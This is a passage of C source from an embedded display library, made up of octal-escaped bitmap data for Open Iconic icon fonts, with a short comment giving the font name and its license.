"\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\374\374\340" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\370\377\377\377\377\377" "\377\370\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\374\377\377\377\377\377\377\377" "\377\377\377\374\340\0\0\0\0\0\0\0\200\340\374\377\374\360\300\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\360\376\377\377\377\377\377\377\17\17\177" "\377\377\377\377\377\377\370\300\0\200\360\374\377\377\377\377\377\377\377\377\376\370\340\300\300\300\300\300\300\300\300\300" "\300\300\300\300\77\77\77\77\77\77\77\77\77\77\377\377\377\377\377\377\377\377\377\377\377\377\77\7\0\0\0\0" "\3\77\377\377\377\377\377\377\376\377\377\377\377\377\377\77\17\37\77\77\77\77\77\77\77\77\77\77\77\77\77\77" "\77\77\77\77\0\0\0\0\0\0\0\0\0\0\1\17\177\377\377\377\377\377\377\377\17\1\0\0\0\0\0\0" "\0\0\1\17\177\377\377\377\377\377\377\377\37\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\77\377\377\77\7\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\3\77\377\177\37\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\376\377\377\377\377" "\377\377\377\377\374\360\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\374\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\376\370\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\376\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\374\360\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\376\370\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\300\360\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\374\360\200\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\340\370\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\370\300\0\0\0\0\0\0\0\0" "\0\0\0\0\300\360\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\374\340\200\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\200\300\340\360\360\370\374\374\376\376\376\376\377\177\77\37\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\374\376" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340" "\360\370\374\376\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\177\77\17\1\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\177\177\177\177\377\377\377\377\377\377\377\377\377\177\177\177\77\77\37\17\17\7\3\1" "\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\340\370\374\376\77\37\17\17\17\17\37\77\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\7\37\77\177|\370\360\360\360\360\370|\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\376\374\370" "\370\360\340\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\0\0\0\0\0\377\377\377\377\377\377\377\377" "\17\37\77\77\177\377\377\377\376\374\374\370\360\340\340\300\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\30<~\377\377\377\377\376\374\370\360\377\377\377\377\377\377\377\377" "\0\0\0\0\0\0\0\201\303\303\347\377\377\377\377\377\377\377\377~<<\30\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377\377\377\377\377" "\360\370\374\374\376\377\177\177\77\37\37\17\7\7\3\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377" "\17\37\77\77\177\377\377\376\376\374\370\370\360\340\300\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\30<~\377\377\377\377\177\77\37\17\377\377\377\377\377\377\377\377" "\0\0\0\0\0\0\0\201\303\303\347\377\377\377\377\377\377\377\377~<<\30\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\0\0\0\0\0\377\377\377\377\377\377\377\377" "\360\370\374\374\376\377\377\377\177\77\77\37\17\7\7\3\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\177\77\37" "\37\17\7\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\340\340\360\370\370\370\374\374\376\376\376\376\377\377" "\377\377\377\377\377\377\377\377\377\377\376\376\376\376\374\374\370\370\360\360\340\340\300\200\200\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300\340\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\0\0\0\0\0\1\1\1\3\3\3\7\17\17\37\77\177\377\377\377\377\377\376\374\370\340\300\0" "\0\0\0\0\0\300\360\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\17\37\377\377\377\377\377\377" "\374\360\300\0\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\377\377\377\377" "\377\377\377\374\77\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\377\377\377\377" "\377\377\377\77\0\3\17\77\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\360\370\377\377\377\377\377\377" "\77\17\3\0\0\0\0\0\0\3\7\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\0\0\0\0\0\200\200\200\300\300\300\340\360\360\370\374\376\377\377\377\377\377\177\77\17\7\3\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\7\7\17\17\37\37\77\77\177\177\177\177\377\377" "\377\377\377\377\377\377\377\377\377\377\177\177\177\177\77\77\37\37\17\17\7\7\3\1\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\0\0\0\0" "\0\0\0\0\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\303\201\0\0\0\0\201\303\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\340\340\360\360" "\370\370\374\374\376\376\377\377\377\377~<\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\360\370\370\374\374\376\376\377\377\377\377\177\177\77\77\37\37" "\17\17\7\7\3\3\1\1\200\200\300\300\340\340\360\360\360\360\340\300\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\1\7\17\17\17\17\17\7\7\3\3\1\1\200\200\300\300\340\340\360\360" "\370\370\374\374\376\376\377\377\377\377\177\177\77\77\37\37\17\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\360\370\370\374\374\376\376\377\377\377\377\177\177\77\77\37\37" "\17\17\7\7\3\3\1\1\200\200\300\300\340\340\360\360\360\360\340\300\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\1\7\17\17\17\17\17\7\7\3\3\1\1\200\200\300\300\340\340\360\360" "\370\370\374\374\376\376\377\377\377\377\177\177\77\77\37\37\17\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0<~\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377~\30\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\30~\377\377\377\377\377\377\377" "\377\377\377\377\377\377~<\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\340\360\360\300\200\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\200\300\360\360\340\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\340\370\374\376\377\377\377\377\177\77\37\17\7\7\2\0\0\0\0\0\377\377\377\377" "\377\377\377\377\0\0\0\0\0\2\7\17\17\37\77\177\377\377\377\377\376\374\370\340\200\0\0\0\0\0\0\0" "\0\0\0\0\200\370\377\377\377\377\377\377\177\17\3\1\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\1\3\17\377\377\377\377\377\377\376\370\200\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\1\37\377\377\377\377\377\377\377\360\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\360\377\377\377\377\377\377\177\37\1\0\0\0\0" "\0\0\0\0\0\0\0\3\7\37\77\177\377\377\377\377\376\374\370\360\360\340\300\300\200\200\200\200\0\0\0\0" "\0\0\0\0\200\200\200\200\300\300\340\360\360\370\374\376\377\377\377\377\177\77\37\7\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\7\17\37\37\37\77\77\177\177\177\177\377\377\377\377\377" "\377\377\377\377\377\177\177\177\177\77\77\37\37\17\17\7\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\340\340\360\370\370\370\374\374\376\376\376\376\377\377" "\377\377\377\377\377\377\377\377\377\376\376\376\376\374\374\374\370\370\360\360\340\340\300\200\0\0\0\0\200\300\340\360" "\370\374\376\376\0\0\0\0\0\300\340\370\374\376\377\377\377\377\177\77\77\37\17\7\7\3\3\3\1\1\1\0" "\0\0\0\0\0\0\0\0\0\1\1\1\3\3\7\7\17\37\37\77\377\377\377\377\377\376\376\377\377\377\377\377" "\377\377\377\377\0\300\360\376\377\377\377\377\377\177\37\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\374\377\377\377\377\377\377\377\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\77\377\377\377\377\377\377\377\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\3\17\77\377\377\377\377\377\376\370\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\3\7\37\77\177\377\377\377\377\376\374\374\370\360\340\340\300\300\300\200\200\200\0" "\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\340\360\360\370\374\376\374\370\360\340\300\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\7\7\17\17\37\37\77\77\177\177\177\177\377\377" "\377\377\377\377\377\377\377\377\377\377\177\177\177\177\77\77\77\37\37\17\17\7\3\3\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\200\300\300\340\340\360\360\360\370\370\374\374\374\374\376\376\376\376\376\376\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\376\376\376\376\376\374\374\374\374\370\370\370\360\360\340\340\300\300\200\200\0\0" "\0\0\0\0\1\7\37\77\177\77\77\37\37\17\17\7\7\7\3\3\3\1\1\1\1\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\1\1\1\1\1\3\3\3\7\7\7\17\17\37\37\77\77\177\77\37\7\3" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 p\360\370\370\374\374\376\376\376\376\377\377\377\377" "\377\377\377\377\377\377\377\376\376\376\376\376\374\374\370\370\360\360 \0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\17\7\3\3\3\1\1\1\0\0\0" "\0\0\0\0\0\0\0\1\1\1\3\3\3\7\7\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\374\376\376\377" "\377\377\377\377\377\376\376\374\370\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\37\77\177\177\377" "\377\377\377\377\377\177\177\77\37\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0"; /* Fontname: open_iconic_play_8x Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE Glyphs: 18/18 BBX Build Mode: 3 */ const uint8_t u8x8_font_open_iconic_play_8x8[9220] U8X8_FONT_SECTION("u8x8_font_open_iconic_play_8x8") = "@Q\10\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\200\200\300\300\340\340\360\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\340\340\360\360\370\370\374" "\374\376\376\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\1\17\177\377\377\377\377\377\377\377\307\3\3\7\7\17\17\37\37\77" "\77\177\177\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17\77\377\377\377\377\377\377\374\340\200\0\0\0\0\0" "\0\0\0\0\0\1\1\3\3\7\7\17\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17\77\177\377\377\377\377\177<\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300" "\360\370\374\376\376\374\370\360\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360\370\376\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\376\370\360\340\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\370\374\376\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\340\300\200\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\340\360\370\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\374\370\360\340\200\0\0\0" "\0\0\0\0\200\300\340\360\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374" "\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" 